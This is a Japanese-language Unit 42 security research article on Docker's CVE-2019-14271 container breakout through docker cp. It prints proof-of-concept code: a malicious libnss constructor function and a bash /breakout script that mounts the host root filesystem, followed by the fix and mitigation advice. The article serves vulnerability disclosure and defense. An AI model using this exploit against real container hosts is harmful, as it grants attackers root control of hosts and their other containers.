[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.jp/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/ja/) Menu * [セキュリティ コンサルティング](https://www.paloaltonetworks.com/unit42) * [**現在、攻撃を受けていますか?**](https://start.paloaltonetworks.com/contact-unit42.html) Japanese * [English](https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/) * [Japanese](https://unit42.paloaltonetworks.com/ja/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/) * [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/ "脅威リサーチ") * [クラウド サイバーセキュリティ リサーチ](https://unit42.paloaltonetworks.com/ja/category/cloud-cybersecurity-research-ja/ "クラウド サイバーセキュリティ リサーチ") [クラウド サイバーセキュリティ リサーチ](https://unit42.paloaltonetworks.com/ja/category/cloud-cybersecurity-research-ja/) # Docker、これまでで最も深刻な cp コマンドの脆弱性CVE-2019-14271を修正 ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 2 分で読めます Related Products [![Prisma Cloud icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/prisma_RGB_logo_Icon_Color.png)Prisma Cloud](https://unit42.paloaltonetworks.com/ja/product-category/prisma-cloud-ja/ "Prisma Cloud") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) 著者: * [Yuval Avrahami](https://unit42.paloaltonetworks.com/ja/author/yuval-avrahami/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) 公開日:2019年11月19日 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) カテゴリー * [脆弱性](https://unit42.paloaltonetworks.com/ja/category/vulnerabilities-ja/) * [クラウド サイバーセキュリティ リサーチ](https://unit42.paloaltonetworks.com/ja/category/cloud-cybersecurity-research-ja/) * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) タグ: * [Container breakout](https://unit42.paloaltonetworks.com/ja/tag/container-breakout-ja/) * [Container escape](https://unit42.paloaltonetworks.com/ja/tag/container-escape-ja/) * [Containers](https://unit42.paloaltonetworks.com/ja/tag/containers-ja/) * [CVE-2019-14271](https://unit42.paloaltonetworks.com/ja/tag/cve-2019-14271-ja/) * [Docker](https://unit42.paloaltonetworks.com/ja/tag/docker-ja/) * [Exploit](https://unit42.paloaltonetworks.com/ja/tag/exploit-ja/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/ja/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/?pdf=download&lg=ja&_wpnonce=b82091c0d3 "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/ja/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/?pdf=print&lg=ja&_wpnonce=b82091c0d3 "Click here to print") 共有![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Docker、これまでで最も深刻な%20cp%20コマンドの脆弱性CVE-2019-14271を修正&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fdocker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fdocker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fdocker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271%2F&title=Docker、これまでで最も深刻な%20cp%20コマンドの脆弱性CVE-2019-14271を修正 "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fdocker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271%2F&text=Docker、これまでで最も深刻な%20cp%20コマンドの脆弱性CVE-2019-14271を修正 "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fdocker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Docker、これまでで最も深刻な%20cp%20コマンドの脆弱性CVE-2019-14271を修正%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fdocker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271%2F "Share in Mastodon") ## 概要 ここ数年、Docker、Podman、Kubernetesを含むさまざまなコンテナプラットフォームで、copyコマンド(cp)の脆弱性が複数確認されてきました。それらの中で最も深刻なものはこの7月というごく最近発見・開示されたものです。驚くべきことに、CVEの説明内容があいまいだったこと、公開されたエクスプロイトがなかったことなどの理由から、本脆弱性は公開直後にはほとんど注意を引きませんでした。 しかしながら、[CVE-2019-14271](https://nvd.nist.gov/vuln/detail/CVE-2019-14271)が攻撃者に悪用された場合、Dockerの実装するcpコマンドは、**完全なコンテナブレイクアウト** につながりうるセキュリティ上の問題を引き起こします。この脆弱性は、2月に発見された[runC](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)[脆弱性](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)以降で初めての完全なコンテナブレイクアウトです。 この脆弱性が悪用されるにあたっての前提条件となるのが、対象のコンテナがすでに別の攻撃(他の脆弱性や漏えいした秘密など)によって侵害済みであること、あるいは、ユーザーが信頼できないソース(レジストリそのほか)からの悪意のあるコンテナイメージを実行していることです。これらの条件下でユーザーが脆弱なcpコマンドを実行して侵害済みコンテナからファイルをコピーするコマンドを実行した場合、攻撃者はコンテナとホストの分離制限を回避し、当該コンテナを実行するホストと同ホスト内の他のすべてのコンテナの完全なroot制御を取得することができます。 CVE-2019-14271は「Critical (深刻)」と評価されており、Dockerバージョン[19.03.1](https://docs.docker.com/engine/release-notes/#19031)で修正されています。本稿ではCVE-2019-14271の概要と本脆弱性については初となる概念実証(PoC)について考察します。 ここのところ、筆者とAriel Zelivanskyは、主要なコンテナプラットフォームにおけるcopyコマンドの脆弱性急増をたんねんに追跡調査してきました。私たちはこの[調査結果](https://kccncna19.sched.com/event/d229f00f143036f7c488144e604f91ea/)を2019年11月20日にサンディエゴで開催される[KubeCon](https://events19.linuxfoundation.org/events/kubecon-cloudnativecon-north-america-2019/)[+ CloudNativeCon 2019](https://events19.linuxfoundation.org/events/kubecon-cloudnativecon-north-america-2019/)で発表する予定です (訳注: 米国時間)。私たちは、過去の脆弱性、さまざまな実装、そしてこの比較的単純なコマンドの実装がなぜ驚くほど難しいのか、その根本的な理由について調査をしてきました。本調査に取り組むためにビルドしたクールな新しいカーネル機能についても説明していますので、コンテナセキュリティに関心があるかたはぜひチェックしてみてください。 ## docker cpコマンド コピーコマンドを使うと、ホスト-コンテナ間、またはコンテナ-コンテナ間でファイルをコピーすることができます。その構文は標準的なUnixのcpコマンドとよく似ています。たとえば、/var/logsをコンテナから抜き出してコピーするなら、その構文は docker cp container\_name:/var/logs /some/host/path となります。 下の図からもわかるとおり、コンテナから抜き出したファイルをコピーするさい、Dockerはdocker-tarと呼ばれるヘルパープロセスを使います。 [![図1 ファイルをコンテナからコピー](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/11/figure-1-copying-files-out-of-a-container.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/11/figure-1-copying-files-out-of-a-container.png) 図1 ファイルをコンテナからコピーしているところ。psコマンドで確認するとdocker-tarがヘルパープロセスとして使われている docker-tarは、対象コンテナにchrootする(下図参照)、要求されたファイルとディレクトリをアーカイブする、アーカイブされたtarファイルをDockerデーモンに返してホスト上の対象ディレクトリに展開してもらう、という流れで動作します。 [![図2 docker-tarでコンテナにchrootしたところ](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/11/figure-2-docker-tar-chroots-into-the-container.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/11/figure-2-docker-tar-chroots-into-the-container.png) 図2 docker-tarでコンテナにchrootしたところ chrootを行う主な理由は、ホストプロセスがコンテナ上のファイルにアクセスしようとしたときに発生しうるsymlink(シンボリックリンク)の問題を回避することにあります。symlinkの問題とは、アクセスしたファイルのなかにsymlinkが含まれていると、それがホスト側のルートに誤って解決されてしまう可能性がある、という問題です。攻撃者の制御下にあるコンテナの場合、これがdocker cpを騙してコンテナではなくホスト側のファイル読み書きをさせる突破口となってしまいます。去年もこのsymlink関連の問題で複数のCVEが[Docker](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15664)と[P](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10152)[o](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10152)[dman](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10152)に割り当てられていました。コンテナのルートにchrootすることにより、本来ならdocker-tarはすべてのsymlinkがうまくコンテナのルートの下に解決されることを保証してくれるはずです。 残念ながらこれが、コンテナからファイルをコピーするさいのさらに深刻な問題発生につながりました。 ## CVE-2019-14271 DockerはGo言語で書かれています。具体的にいうと、脆弱なバージョンのDockerはGoのバージョン1.11でコンパイルされています。このGoのバージョンには、埋め込みのCコード(cgo)を含み、実行時に共有ライブラリを動的にロードするパッケージがあります。こうしたパッケージには、docker-tarが利用するnetやos/userも含まれており、両パッケージとも実行時にlibnss\_\*.soライブラリを動的にロードしています。通常、ライブラリはホスト側のファイルシステムからロードされますが、docker-tarの場合、コンテナにchrootすることから、コンテナ側のファイルシステムからライブラリをロードするようになっています。つまり、docker-tarは「コンテナ側で生成・制御したコードをロードして実行する」ということです。 分かりやすくいえば、コンテナ側のファイルシステムにchrootされるという点をのぞき、docker-tarはコンテナ化されていないのです。ですからdocker-tarは、ホスト側の名前空間で実行され、すべてのルート機能を備え、cgroupsやseccompからの制約を受けません。したがって、コードをdocker-tarに挿入しさえすれば、悪意のあるコンテナがホストへの完全なルートアクセス権限を取得できることになります。 ここで考えられる攻撃シナリオは、次のいずれかの環境でファイルをコピーするDockerユーザーでしょう。 * 悪意のあるイメージを実行し、悪意のあるlibnss\_\*.soライブラリを含んでいるコンテナ * すでに侵害を受けて攻撃者がlibnss\_\*.soライブラリを差し替えてあるコンテナ どちらの場合でも、攻撃者はホストのルートコード実行権限を取得できます。 こぼれ話: この脆弱性は実は[GitHubの不具合](https://github.com/moby/moby/issues/39449)報告で見つかったものです。あるユーザーが「debian:buster-slimコンテナからファイルをコピーしようとしたがdocker cpが繰り返し失敗する」という問題を報告しました。原因はこの特定のイメージがlibnssライブラリを含んでいないことにありました。このため同ユーザーがdocker cpやdocker-tarプロセスを実行しても、コンテナファイル側のシステムからlibnssをロードしようとしては失敗し、クラッシュしていたのです。 ## エクスプロイト CVE-2019-14271を悪用するには、悪意のあるlibnssライブラリをビルドしなければなりません。本調査では、適当にlibnss\_files.soを選んでビルドしました。同ライブラリのソースファイルをダウンロードし、このなかの1つにrun\_at\_link()という関数を1つ追加します。そのさい、この関数に[constructor](https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html)属性をもたせて定義します。constructor属性(GCC独自の構文)を指定すると、プロセスがライブラリをロードするさい、私の作ったrun\_at\_link関数がその初期化関数として実行されるようになります。これにより、docker-tarプロセスが悪意のあるライブラリを動的にロードすると、run\_at\_link関数が実行されます。以下がそのrun\_at\_link関数のコードです(簡潔にするために短くしてあります)。 \#include ... #define ORIGINAL\_LIBNSS "/original\_libnss\_files.so.2" #define LIBNSS\_PATH "/lib/x86\_64-linux-gnu/libnss\_files.so.2" bool is\_priviliged(); **attribute** ((constructor)) void run\_at\_link(void) { char \* argv\_break\[2\]; if (!is\_priviliged()) return; rename(ORIGINAL\_LIBNSS, LIBNSS\_PATH); fprintf(log\_fp, "switched back to the original libnss\_file.so"); if (!fork()) { // Child runs breakout argv\_break\[0\] = strdup("/breakout"); argv\_break\[1\] = NULL; execve("/breakout", argv\_break, NULL); } else wait(NULL); // Wait for child return; } bool is\_priviliged() { FILE \* proc\_file = fopen("/proc/self/exe", "r"); if (proc\_file != NULL) { fclose(proc\_file); return false; // can open so /proc exists, not privileged } return true; // we're running in the context of docker-tar } |-------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | #include ... #define ORIGINAL\_LIBNSS "/original\_libnss\_files.so.2" #define LIBNSS\_PATH "/lib/x86\_64-linux-gnu/libnss\_files.so.2" bool is\_priviliged(); **attribute** ((constructor)) void run\_at\_link(void) { char \* argv\_break\[2\]; if (!is\_priviliged()) return; rename(ORIGINAL\_LIBNSS, LIBNSS\_PATH); fprintf(log\_fp, "switched back to the original libnss\_file.so"); if (!fork()) { // Child runs breakout argv\_break\[0\] = strdup("/breakout"); argv\_break\[1\] = NULL; execve("/breakout", argv\_break, NULL); } else wait(NULL); // Wait for child return; } bool is\_priviliged() { FILE \* proc\_file = fopen("/proc/self/exe", "r"); if (proc\_file != NULL) { fclose(proc\_file); return false; // can open so /proc exists, not privileged } return true; // we're running in the context of docker-tar } | run\_at\_link関数はまず、自身がdocker-tarのコンテキストで実行されていることを確認します。ライブラリは別の通常のコンテナプロセスからもロードされる可能性があるからです。この確認には、/procディレクトリのチェックを使っています。run\_at\_link関数がdocker-tarのコンテキストで実行されているなら、/procディレクトリは空になるはずだからです。/procのprocfsマウントは、コンテナのマウント名前空間内にのみ存在します。 次にrun\_at\_link関数は、libnssの元ライブラリを悪意のあるものと差し替えます。これにより、エクスプロイトで後から実行されるプロセスが誤って悪意のあるバージョンをロードしなおして、run\_at\_link関数を繰り返し実行することを防いでいます。 それから、エクスプロイトを容易にするために、run\_at\_linkはコンテナの/breakoutというパスで実行可能ファイルの実行を試みます。これにより、エクスプロイトの残りの部分を、Cではなくbashを使って記述できるようになりますし、残りのコードをrun\_at\_linkから外に出すことで、エクスプロイトの変更のつど、悪意のあるライブラリを再コンパイルする必要もなくなり、ただ/breakoutのバイナリを変更するだけですみます。 以下のエクスプロイト[実演ビデオ](https://asciinema.org/a/HfdKQKFn7Cn67e5QLWm9gzFfT)では、Dockerユーザーが、改変済みlibnss\_files.soライブラリを含む悪意のあるイメージを実行し、コンテナからログをいくつかコピーしようとしています。イメージ内の/breakoutバイナリは、ホスト側のファイルシステムをコンテナの/host\_fsにマウントし、ホスト上の/evilにメッセージ("Hello from within the container!")を書き込む、という単純なbashスクリプトです。 *ビデオ1 CVE-2019-14271をエクスプロイトしたDockerからのブレイクアウト* 以下は、この実演ビデオで使用されている/breakoutスクリプトのソースです。ホストのルートファイルシステムへのリファレンスを取得するため、このスクリプトは/procにprocfsをマウントしています。docker-tarはホスト側のPID名前空間で実行されていますので、マウントされたprocfsにはホストプロセスのデータが含まれています。そこで、このスクリプトでは単にホスト側のPID 1のルートをマウントしています。 \#!/bin/bash umount /host\_fs \&\& rm -rf /host\_fs mkdir /host\_fs mount -t proc none /proc # mount the host's procfs over /proc cd /proc/1/root # chdir to host's root mount --bind . /host\_fs # mount host root at /host\_fs echo "Hello from within the container!" \> /host\_fs/evil |----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 | #!/bin/bash umount /host\_fs \&\& rm -rf /host\_fs mkdir /host\_fs mount -t proc none /proc # mount the host's procfs over /proc cd /proc/1/root # chdir to host's root mount --bind . /host\_fs # mount host root at /host\_fs echo "Hello from within the container!" \> /host\_fs/evil | ## 修正 [修正](https://github.com/moby/moby/pull/39612)では、問題のあるGoパッケージから任意の関数を呼び出すさいのdocker-tarのinit関数が修正されています。これにより、libnssコンテナにchrootする前のライブラリ、したがってホスト側のファイルシステム上のライブラリをdocker-tarに強制的にロードさせます。 [![図3 CVE-2019-14271の修正](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/11/figure-3-cve-2019-14271-fix.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/11/figure-3-cve-2019-14271-fix.png) 図3 CVE-2019-14271の修正 ## 結論 ホストでルートコードを実行できる脆弱性は非常に危険です。実行中のDockerのバージョンが当該セキュリティ問題の修正を含む新しいバージョン、[19.03.1](https://docs.docker.com/engine/release-notes/#19031)またはそれ以上であることを確認してください。この種の攻撃による攻撃対象領域を減らすには、信頼できないイメージを実行しないことを強くお勧めします。 このほか、どうしてもrootが必要でないかぎり、コンテナは非rootユーザーとして実行することも強くお勧めします。セキュリティが向上し、コンテナエンジンやカーネルで今後も見つかるはずの不具合の多くが、攻撃者から悪用されにくくなります。このCVE-2019-14271についても、コンテナが非rootユーザーで実行されていればユーザーが保護されますし、たとえ攻撃者がコンテナを侵害済みでもコンテナのlibnssライブラリはルートが所有しているので脆弱性を悪用できません。それでも納得がいかないなら、Ariel Zelivanskyによる[こちらの投稿](https://unit42.paloaltonetworks.com/non-root-containers-kubernetes-cve-2019-11245-care/)をご一読ください。非rootでコンテナを実行することのセキュリティ上の利点に得心がいき気が変わるかもしれません。 [Prisma Cloud](https://www.paloaltonetworks.com/cloud-security)をご利用中のパロアルトネットワークスのお客様は、次の機能でさらに同脆弱性の脅威から保護されています。 * Trusted Imagesにより、開発者は確実に検証済み・承認済みのイメージ用ソースを利用できるようになります。 * ご利用環境内で実行されている脆弱なパッケージを含むコンテナについて、Host Vulnerability Scanningアラート(ホストの脆弱性スキャンアラート)により、悪用される可能性が最も高いCVEが強調表示されます。これにより、コンテナは脆弱なコードを実行することがなくなり、修正パッチ公開初日(ワンデイ)に発生する攻撃を防ぎます。 * Prisma Cloud Runtime Securityは、悪意のある攻撃者によるコンテナへのアクセスや侵害を特定してブロックします。 トップに戻る ### タグ * [Container breakout](https://unit42.paloaltonetworks.com/ja/tag/container-breakout-ja/ "container breakout") * [Container escape](https://unit42.paloaltonetworks.com/ja/tag/container-escape-ja/ "container escape") * [Containers](https://unit42.paloaltonetworks.com/ja/tag/containers-ja/ "Containers") * [CVE-2019-14271](https://unit42.paloaltonetworks.com/ja/tag/cve-2019-14271-ja/ "CVE-2019-14271") * [Docker](https://unit42.paloaltonetworks.com/ja/tag/docker-ja/ "Docker") * [Exploit](https://unit42.paloaltonetworks.com/ja/tag/exploit-ja/ "exploit") [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") [次ページ:Wiresharkによるパケット解析講座 5: Trickbot感染の調査](https://unit42.paloaltonetworks.com/ja/wireshark-tutorial-examining-trickbot-infections/ "Wiresharkによるパケット解析講座 5: Trickbot感染の調査") ### 目次 * ### 関連記事 * [Copy Fail:ここ数年で最も深刻なLinuxの脅威について必要な知識](https://unit42.paloaltonetworks.com/ja/cve-2026-31431-copy-fail/ "article - table of contents") * [増加するクラウドの脅威：アラート傾向が示すIAMを狙った攻撃の激化。](https://unit42.paloaltonetworks.com/ja/2025-cloud-security-alert-trends/ "article - table of contents") * [コンテナー エスケープ: クラウド環境でコンテナーから脱出する技術](https://unit42.paloaltonetworks.com/ja/container-escape-techniques/ "article - table of contents") ## 関連項目 リソース ![Pictorial representation of a severe Linux vulnerability. Close-up of a woman wearing glasses and focusing intently on a computer screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/05/05_Vulnerabilities_1920x900-2-1-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年5月5日 [#### Copy Fail:ここ数年で最も深刻なLinuxの脅威について必要な知識](https://unit42.paloaltonetworks.com/ja/cve-2026-31431-copy-fail/) * [Containers](https://unit42.paloaltonetworks.com/ja/tag/containers-ja/ "Containers") * [CVE-2026-31431](https://unit42.paloaltonetworks.com/ja/tag/cve-2026-31431/ "CVE-2026-31431") * [Kubernetes](https://unit42.paloaltonetworks.com/ja/tag/kubernetes-ja/ "Kubernetes") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/cve-2026-31431-copy-fail/ "Copy Fail:ここ数年で最も深刻なLinuxの脅威について必要な知識") ![Pictorial representation of autonomous AI attack in cloud environments.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/12_Cloud_cybersecurity_research_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年4月23日 [#### AIはクラウドを攻撃できるのか?自律型クラウド攻撃型マルチエージェント システムの構築から得られた教訓](https://unit42.paloaltonetworks.com/ja/autonomous-ai-cloud-attacks/) * [AI](https://unit42.paloaltonetworks.com/ja/tag/ai-ja/ "AI") * [Cloud](https://unit42.paloaltonetworks.com/ja/tag/cloud-ja/ "Cloud") * [Data exfiltration](https://unit42.paloaltonetworks.com/ja/tag/data-exfiltration-ja/ "data exfiltration") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/autonomous-ai-cloud-attacks/ "AIはクラウドを攻撃できるのか?自律型クラウド攻撃型マルチエージェント システムの構築から得られた教訓") ![Pictorial representation of BeyondTrust vulnerability CVE-2026-1731. Digital art depicting a stylized mountain range with vibrant blue and red hues. The peaks are accentuated by glowing particles and an abstract, starry backdrop, creating a futuristic landscape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/14_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年2月19日 [#### BeyondTrustの深刻な脆弱性（CVE-2026-1731）の悪用においてVShellおよびSparkRATを確認](https://unit42.paloaltonetworks.com/ja/beyondtrust-cve-2026-1731/) * [Bash](https://unit42.paloaltonetworks.com/ja/tag/bash-ja/ "bash") * [CVE-2026-1731](https://unit42.paloaltonetworks.com/ja/tag/cve-2026-1731/ "CVE-2026-1731") * [Powershell](https://unit42.paloaltonetworks.com/ja/tag/powershell-ja/ "Powershell") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/beyondtrust-cve-2026-1731/ "BeyondTrustの深刻な脆弱性（CVE-2026-1731）の悪用においてVShellおよびSparkRATを確認") ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/AdobeStock_1020436911-786x440.jpeg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年2月17日 [#### 野放し状態で悪用されているIvanti EPMMの深刻な脆弱性](https://unit42.paloaltonetworks.com/ja/ivanti-cve-2026-1281-cve-2026-1340/) * [CVE-2026-1281](https://unit42.paloaltonetworks.com/ja/tag/cve-2026-1281/ "CVE-2026-1281") * [CVE-2026-1340](https://unit42.paloaltonetworks.com/ja/tag/cve-2026-1340/ "CVE-2026-1340") * [Ivanti](https://unit42.paloaltonetworks.com/ja/tag/ivanti-ja/ "Ivanti") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/ivanti-cve-2026-1281-cve-2026-1340/ "野放し状態で悪用されているIvanti EPMMの深刻な脆弱性") ![Close-up of a black woman with glasses examining colorful computer code on a screen. The scene is illuminated by various lights, creating a focused and analytical atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/13_Cloud_cybersecurity_research_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年2月6日 [#### クラウド脅威アクターの活動を検出する新しい手法](https://unit42.paloaltonetworks.com/ja/tracking-threat-groups-through-cloud-logging/) * [API](https://unit42.paloaltonetworks.com/ja/tag/api-ja/ "API") * [IAM](https://unit42.paloaltonetworks.com/ja/tag/iam-ja/ "IAM") * [MITRE](https://unit42.paloaltonetworks.com/ja/tag/mitre-ja/ "MITRE") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/tracking-threat-groups-through-cloud-logging/ "クラウド脅威アクターの活動を検出する新しい手法") ![Pictorial representation of CVE-2025-0921. Digital illustration of a map of North America with interconnected glowing lines and dots symbolizing network connections across the continent.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/06_Vulnerabilities_1920x900-2-1-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年1月30日 [#### SCADAシステムに存在する特権ファイルシステムの脆弱性](https://unit42.paloaltonetworks.com/ja/iconics-suite-cve-2025-0921/) * [CVE-2025-0921](https://unit42.paloaltonetworks.com/ja/tag/cve-2025-0921/ "CVE-2025-0921") * [Privilege escalation](https://unit42.paloaltonetworks.com/ja/tag/privilege-escalation-ja/ "privilege escalation") * [SCADA](https://unit42.paloaltonetworks.com/ja/tag/scada/ "SCADA") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/iconics-suite-cve-2025-0921/ "SCADAシステムに存在する特権ファイルシステムの脆弱性") ![Pictorial representation of Azure OpenAI DNS resolution issue. Futuristic cityscape illustration with luminous structures and floating cloud elements, showcasing advanced technology and a dynamic, digitally enhanced environment.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/06/02_DNS_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年1月20日 [#### DNS OverDoS: プライベート エンドポイントはプライベートすぎるのか？](https://unit42.paloaltonetworks.com/ja/dos-attacks-and-azure-private-endpoint/) * [Microsoft Azure](https://unit42.paloaltonetworks.com/ja/tag/microsoft-azure-ja/ "Microsoft Azure") * [Networking](https://unit42.paloaltonetworks.com/ja/tag/networking/ "networking") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/dos-attacks-and-azure-private-endpoint/ "DNS OverDoS: プライベート エンドポイントはプライベートすぎるのか？") ![Pictorial representation of remote code execution in AI and machine learning libraries. Close-up of a woman wearing glasses and focusing intently on a computer screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/05_Vulnerabilities_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年1月13日 [#### 最新のAI/MLフォーマットとライブラリによるリモート コード実行](https://unit42.paloaltonetworks.com/ja/rce-vulnerabilities-in-ai-python-libraries/) * [Apple](https://unit42.paloaltonetworks.com/ja/tag/apple-ja/ "Apple") * [CVE-2025-23304](https://unit42.paloaltonetworks.com/ja/tag/cve-2025-23304/ "CVE-2025-23304") * 